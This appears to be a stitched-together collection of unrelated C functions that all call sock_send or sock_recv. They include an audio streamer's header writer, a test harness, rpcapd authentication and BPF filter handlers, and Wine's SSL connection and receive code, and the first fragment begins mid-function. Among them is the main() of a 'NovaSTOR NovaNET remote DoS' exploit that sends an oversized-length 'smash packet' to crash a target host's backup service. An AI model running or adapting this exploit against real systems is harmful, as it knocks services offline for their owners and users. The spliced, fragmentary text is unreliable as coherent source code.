send(stream_socket, cfg.icy[cfg.selected_icy]->aim, strlen(cfg.icy[cfg.selected_icy]->aim), 0); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "icy-pub:", 8, SEND_TIMEOUT); if(cfg.main.num_of_icy > 0) if(cfg.icy[cfg.selected_icy]->pub != NULL) send(stream_socket, cfg.icy[cfg.selected_icy]->pub, strlen(cfg.icy[cfg.selected_icy]->pub), 0); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "icy-br:", 7, SEND_TIMEOUT); snprintf(send_buf, 100, "%u", cfg.audio.bitrate); sock_send(&stream_socket, send_buf, strlen(send_buf), SEND_TIMEOUT); sock_send(&stream_socket, "\n", 1, SEND_TIMEOUT); sock_send(&stream_socket, "content-type:", 13, SEND_TIMEOUT); if(!strcmp(cfg.audio.codec, "mp3")) { strcpy(send_buf, "audio/mpeg"); sock_send(&stream_socket, send_buf, strlen(send_buf), SEND_TIMEOUT); } sock_send(&stream_socket, "\n\n", 2, SEND_TIMEOUT); connected = 1; timer_init(&stream_timer, 1); //starts the "online" timer return 0; }
static void play(int skt, const char *file, int timeout) { char mode[] = { PLAY }; char *cp; char expect[MAX_CONCUR_NAME+1+MAX_CONCUR_MSG]; char actual[MAX_CONCUR_MSG]; MAP conh = map_create((map_diff*)strcmp, (map_hash*)fnv04, NULL); FILE *fp = fopen(file, "r"); fd_set fds; if (!fp) { fprintf(stderr, "error: cannot read %s\n", file); exit(2); } FD_ZERO(&fds); while (fgets(expect, sizeof expect, fp)) { int fd, ret; struct timeval to = { timeout, 0 }; for (cp = expect + strlen(expect); cp > expect && isspace(cp[-1]); *--cp = 0); if (!expect[0]) continue; if (expect[0] == '#') { if (expect[1] != ':') fputs(expect, stdout); continue; } if (!(cp = strchr(expect, ':'))) { fprintf(stderr, "concurs: invalid script line:\n%s\n", expect); continue; } *cp++ = 0; while (!(fd = (int)(uintptr_t)map_get(conh, expect))) { FD_SET(skt, &fds); if (timeout && 0 > select(skt+1, &fds, NULL, NULL, &to)) { fprintf(stderr, "concurs: timed out waiting for %s:connect\n", expect); exit(1); } FD_CLR(skt, &fds); fd = sock_accept(skt); FD_SET(fd, &open_fds); cp = playerv[fd] = strdup(expect); map_set(conh, playerv[fd], (void*)(uintptr_t)fd); } FD_SET(fd, &fds); if (timeout && 0 > select(skt+1, &fds, NULL, NULL, &to)) { fprintf(stderr, "concurs: error waiting for %s:%s\n", expect, cp); exit(1); } FD_CLR(fd, &fds); if (0 >= (ret = sock_recv(fd, actual, sizeof actual))) { close(fd); FD_CLR(fd, &open_fds); map_del(conh, playerv[fd]); free(playerv[fd]); playerv[fd] = NULL; } sock_send(fd, mode, sizeof(mode)); //REVISIT: select(nowait) on all open fds and report who was blocked. printf("%s:%s\n", expect, actual); if (strcmp(cp, actual)) { fprintf(stderr, "concurs: broken\n"); exit(1); } } }
/*! \brief It checks if the authentication credentials supplied by the user are valid. This function is called each time the rpcap daemon starts a new serving thread. It reads the authentication message from the network and it checks that the user information are valid. \param sockctrl: the socket if of the control connection. \param nullAuthAllowed: '1' if the NULL authentication is allowed. \param errbuf: a user-allocated buffer in which the error message (if one) has to be written. \return '0' if everything is fine, '-1' if an unrecoverable error occurred. The error message is returned in the 'errbuf' variable. '-2' is returned in case the authentication failed or in case of a recoverable error (like wrong version). In that case, 'errbuf' keeps the reason of the failure. This provides a way to know that the connection does not have to be closed. In case the message is a 'CLOSE' or an 'ERROR', it returns -3. The error can be due to a connection refusal in active mode, since this host cannot be allowed to connect to the remote peer. */ int daemon_checkauth(SOCKET sockctrl, int nullAuthAllowed, char *errbuf) { struct rpcap_header header; // RPCAP message general header int retval; // generic return value unsigned int nread; // number of bytes of the payload read from the socket struct rpcap_auth auth; // RPCAP authentication header char *string1, *string2; // two strings exchanged by the authentication message unsigned int plen; // length of the payload int retcode; // the value we have to return to the caller if (sock_recv(sockctrl, (char *) &header, sizeof(struct rpcap_header), SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE) == -1) return -1; plen= ntohl(header.plen); retval= rpcap_checkmsg(errbuf, sockctrl, &header, RPCAP_MSG_AUTH_REQ, RPCAP_MSG_CLOSE, 0); if (retval != RPCAP_MSG_AUTH_REQ) { switch (retval) { case -3: // Unrecoverable network error return -1; // Do nothing; just exit; the error code is already into the errbuf case -2: // The other endpoint send a message that is not allowed here case -1: // The other endpoint has a version number that is not compatible with our return -2; case RPCAP_MSG_CLOSE: { // Check if all the data has been read; if not, discard the data in excess if (ntohl(header.plen) ) { if (sock_discard(sockctrl, ntohl(header.plen), NULL, 0) ) { retcode= -1; goto error; } } return -3; }; case RPCAP_MSG_ERROR: return -3; default: { SOCK_ASSERT("Internal error.", 1); retcode= -2; goto error; }; } } // If it comes here, it means that we have an authentication request message if ( (nread= sock_recv(sockctrl, (char *) &auth, sizeof(struct rpcap_auth), SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) { retcode= -1; goto error; } switch (ntohs(auth.type) ) { case RPCAP_RMTAUTH_NULL: { if (!nullAuthAllowed) { snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed; NULL autentication not permitted."); retcode= -2; goto error; } break; } case RPCAP_RMTAUTH_PWD: { int len1, len2; len1= ntohs(auth.slen1); len2= ntohs(auth.slen2); string1= (char *) malloc (len1 + 1); string2= (char *) malloc (len2 + 1); if ( (string1 == NULL) || (string2 == NULL) ) { snprintf(errbuf, PCAP_ERRBUF_SIZE, "malloc() failed: %s", pcap_strerror(errno)); retcode= -1; goto error; } if ( (nread+= sock_recv(sockctrl, string1, len1, SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) { retcode= -1; goto error; } if ( (nread+= sock_recv(sockctrl, string2, len2, SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) { retcode= -1; goto error; } string1[len1]= 0; string2[len2]= 0; if (daemon_AuthUserPwd(string1, string2, errbuf) ) { retcode= -2; goto error; } break; } default: snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication type not recognized."); retcode= -2; goto error; } // Check if all the data has been read; if not, discard the data in excess if (nread != plen) { if (sock_discard(sockctrl, plen - nread, NULL, 0) ) { retcode= -1; goto error; } } rpcap_createhdr(&header, RPCAP_MSG_AUTH_REPLY, 0, 0); // Send the ok message back if ( sock_send(sockctrl, (char *) &header, sizeof (struct rpcap_header), errbuf, PCAP_ERRBUF_SIZE) == -1) { retcode= -1; goto error; } return 0; error: // Check if all the data has been read; if not, discard the data in excess if (nread != plen) sock_discard(sockctrl, plen - nread, NULL, 0); return retcode; }
static DWORD netcon_secure_connect_setup(netconn_t *connection, BOOL compat_mode) { SecBuffer out_buf = {0, SECBUFFER_TOKEN, NULL}, in_bufs[2] = {{0, SECBUFFER_TOKEN}, {0, SECBUFFER_EMPTY}}; SecBufferDesc out_desc = {SECBUFFER_VERSION, 1, &out_buf}, in_desc = {SECBUFFER_VERSION, 2, in_bufs}; SecHandle *cred = &cred_handle; BYTE *read_buf; SIZE_T read_buf_size = 2048; ULONG attrs = 0; CtxtHandle ctx; SSIZE_T size; int bits; const CERT_CONTEXT *cert; SECURITY_STATUS status; DWORD res = ERROR_SUCCESS; const DWORD isc_req_flags = ISC_REQ_ALLOCATE_MEMORY|ISC_REQ_USE_SESSION_KEY|ISC_REQ_CONFIDENTIALITY |ISC_REQ_SEQUENCE_DETECT|ISC_REQ_REPLAY_DETECT|ISC_REQ_MANUAL_CRED_VALIDATION; if(!ensure_cred_handle()) return ERROR_INTERNET_SECURITY_CHANNEL_ERROR; if(compat_mode) { if(!have_compat_cred_handle) return ERROR_INTERNET_SECURITY_CHANNEL_ERROR; cred = &compat_cred_handle; } read_buf = heap_alloc(read_buf_size); if(!read_buf) return ERROR_OUTOFMEMORY; status = InitializeSecurityContextW(cred, NULL, connection->server->name, isc_req_flags, 0, 0, NULL, 0, &ctx, &out_desc, &attrs, NULL); assert(status != SEC_E_OK); while(status == SEC_I_CONTINUE_NEEDED || status == SEC_E_INCOMPLETE_MESSAGE) { if(out_buf.cbBuffer) { assert(status == SEC_I_CONTINUE_NEEDED); TRACE("sending %lu bytes\n", out_buf.cbBuffer); size = sock_send(connection->socket, out_buf.pvBuffer, out_buf.cbBuffer, 0); if(size != out_buf.cbBuffer) { ERR("send failed\n"); status = ERROR_INTERNET_SECURITY_CHANNEL_ERROR; break; } FreeContextBuffer(out_buf.pvBuffer); out_buf.pvBuffer = NULL; out_buf.cbBuffer = 0; } if(status == SEC_I_CONTINUE_NEEDED) { assert(in_bufs[1].cbBuffer < read_buf_size); memmove(read_buf, (BYTE*)in_bufs[0].pvBuffer+in_bufs[0].cbBuffer-in_bufs[1].cbBuffer, in_bufs[1].cbBuffer); in_bufs[0].cbBuffer = in_bufs[1].cbBuffer; in_bufs[1].BufferType = SECBUFFER_EMPTY; in_bufs[1].cbBuffer = 0; in_bufs[1].pvBuffer = NULL; } assert(in_bufs[0].BufferType == SECBUFFER_TOKEN); assert(in_bufs[1].BufferType == SECBUFFER_EMPTY); if(in_bufs[0].cbBuffer + 1024 > read_buf_size) { BYTE *new_read_buf; new_read_buf = heap_realloc(read_buf, read_buf_size + 1024); if(!new_read_buf) { status = E_OUTOFMEMORY; break; } in_bufs[0].pvBuffer = read_buf = new_read_buf; read_buf_size += 1024; } size = sock_recv(connection->socket, read_buf+in_bufs[0].cbBuffer, read_buf_size-in_bufs[0].cbBuffer, 0); if(size < 1) { WARN("recv error\n"); res = ERROR_INTERNET_SECURITY_CHANNEL_ERROR; break; } TRACE("recv %tu bytes\n", size); in_bufs[0].cbBuffer += size; in_bufs[0].pvBuffer = read_buf; status = InitializeSecurityContextW(cred, &ctx, connection->server->name, isc_req_flags, 0, 0, &in_desc, 0, NULL, &out_desc, &attrs, NULL); TRACE("InitializeSecurityContext ret %08x\n", status); if(status == SEC_E_OK) { if(SecIsValidHandle(&connection->ssl_ctx)) DeleteSecurityContext(&connection->ssl_ctx); connection->ssl_ctx = ctx; if(in_bufs[1].BufferType == SECBUFFER_EXTRA) FIXME("SECBUFFER_EXTRA not supported\n"); status = QueryContextAttributesW(&ctx, SECPKG_ATTR_STREAM_SIZES, &connection->ssl_sizes); if(status != SEC_E_OK) { WARN("Could not get sizes\n"); break; } status = QueryContextAttributesW(&ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, (void*)&cert); if(status == SEC_E_OK) { res = netconn_verify_cert(connection, cert, cert->hCertStore); CertFreeCertificateContext(cert); if(res != ERROR_SUCCESS) { WARN("cert verify failed: %u\n", res); break; } }else { WARN("Could not get cert\n"); break; } connection->ssl_buf = heap_alloc(connection->ssl_sizes.cbHeader + connection->ssl_sizes.cbMaximumMessage + connection->ssl_sizes.cbTrailer); if(!connection->ssl_buf) { res = GetLastError(); break; } } } heap_free(read_buf); if(status != SEC_E_OK || res != ERROR_SUCCESS) { WARN("Failed to establish SSL connection: %08x (%u)\n", status, res); heap_free(connection->ssl_buf); connection->ssl_buf = NULL; return res ? res : ERROR_INTERNET_SECURITY_CHANNEL_ERROR; } TRACE("established SSL connection\n"); connection->secure = TRUE; connection->security_flags |= SECURITY_FLAG_SECURE; bits = NETCON_GetCipherStrength(connection); if (bits >= 128) connection->security_flags |= SECURITY_FLAG_STRENGTH_STRONG; else if (bits >= 56) connection->security_flags |= SECURITY_FLAG_STRENGTH_MEDIUM; else connection->security_flags |= SECURITY_FLAG_STRENGTH_WEAK; if(connection->mask_errors) connection->server->security_flags = connection->security_flags; return ERROR_SUCCESS; }
int main (int argc, char **argv) { char rbuf_pkt[NOVANET_PKT_SZ]; unsigned int rlen; int fd, n; printf ("NovaSTOR NovaNET remote DoS\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s <host>\n", argv[0]); exit (EXIT_SUCCESS); } fd = sockami (argv[1], NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "main: sockami failed\n"); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n", argv[1], NOVANET_TCP_PORT); printf ("** sending header packet..."); if ((n = sock_send (fd, hdr_pkt, sizeof hdr_pkt - 1)) != NOVANET_PKT_SZ) { fprintf (stderr, "main: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading first reply..."); if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ) { fprintf (stderr, "main: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); srand (time (NULL)); rlen = NOVANET_MAX_LEN + (rand () % (UINT_MAX - NOVANET_MAX_LEN)) + 1; *(unsigned int *) &rem_pkt[12] = rlen; printf ("** sending smash packet [remaining length %u-bytes]...", rlen); if ((n = sock_send (fd, rem_pkt, sizeof rem_pkt - 1)) != NOVANET_HDR_SZ) { fprintf (stderr, "main: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n"); usleep (USLEEP_TIME); close (fd); return (EXIT_SUCCESS); }
/****************************************************************************** * NETCON_recv * Basically calls 'recv()' unless we should use SSL * number of chars received is put in *recvd */ DWORD NETCON_recv(netconn_t *connection, void *buf, size_t len, blocking_mode_t mode, int *recvd) { *recvd = 0; if (!len) return ERROR_SUCCESS; if (!connection->secure) { int flags = 0; switch(mode) { case BLOCKING_ALLOW: break; case BLOCKING_DISALLOW: flags = WINE_MSG_DONTWAIT; break; case BLOCKING_WAITALL: flags = MSG_WAITALL; break; } set_socket_blocking(connection->socket, mode); *recvd = sock_recv(connection->socket, buf, len, flags); return *recvd == -1 ? sock_get_error(errno) : ERROR_SUCCESS; } else { SIZE_T size = 0, cread; BOOL eof; DWORD res; if(connection->peek_msg) { size = min(len, connection->peek_len); memcpy(buf, connection->peek_msg, size); connection->peek_len -= size; connection->peek_msg += size; if(!connection->peek_len) { heap_free(connection->peek_msg_mem); connection->peek_msg_mem = connection->peek_msg = NULL; } /* check if we have enough data from the peek buffer */ if(mode != BLOCKING_WAITALL || size == len) { *recvd = size; return ERROR_SUCCESS; } mode = BLOCKING_DISALLOW; } do { res = read_ssl_chunk(connection, (BYTE*)buf+size, len-size, mode, &cread, &eof); if(res != ERROR_SUCCESS) { if(res == WSAEWOULDBLOCK) { if(size) res = ERROR_SUCCESS; }else { WARN("read_ssl_chunk failed\n"); } break; } if(eof) { TRACE("EOF\n"); break; } size += cread; }while(!size || (mode == BLOCKING_WAITALL && size < len)); TRACE("received %zd bytes\n", size); *recvd = size; return res; } }
int daemon_unpackapplyfilter(pcap_t *fp, unsigned int *nread, int *plen, char *errbuf) { struct rpcap_filter filter; struct rpcap_filterbpf_insn insn; struct bpf_insn *bf_insn; struct bpf_program bf_prog; unsigned int i; if ( ( *nread+= sock_recv(fp->rmt_sockctrl, (char *) &filter, sizeof(struct rpcap_filter), SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) { // to avoid blocking on the sock_discard() *plen= *nread; return -1; } bf_prog.bf_len= ntohl(filter.nitems); if (ntohs(filter.filtertype) != RPCAP_UPDATEFILTER_BPF) { snprintf(errbuf, PCAP_ERRBUF_SIZE, "Only BPF/NPF filters are currently supported"); return -1; } bf_insn= (struct bpf_insn *) malloc ( sizeof(struct bpf_insn) * bf_prog.bf_len); if (bf_insn == NULL) { snprintf(errbuf, PCAP_ERRBUF_SIZE, "malloc() failed: %s", pcap_strerror(errno)); return -1; } bf_prog.bf_insns= bf_insn; for (i= 0; i < bf_prog.bf_len; i++) { if ( ( *nread+= sock_recv(fp->rmt_sockctrl, (char *) &insn, sizeof(struct rpcap_filterbpf_insn), SOCK_RECEIVEALL_YES, errbuf, PCAP_ERRBUF_SIZE)) == -1) return -1; bf_insn->code= ntohs(insn.code); bf_insn->jf= insn.jf; bf_insn->jt= insn.jt; bf_insn->k= ntohl(insn.k); bf_insn++; } if (bpf_validate(bf_prog.bf_insns, bf_prog.bf_len) == 0) { snprintf(errbuf, PCAP_ERRBUF_SIZE, "The filter contains bogus instructions"); return -1; } if (pcap_setfilter(fp, &bf_prog) ) { snprintf(errbuf, PCAP_ERRBUF_SIZE, "RPCAP error: %s", fp->errbuf); return -1; } return 0; }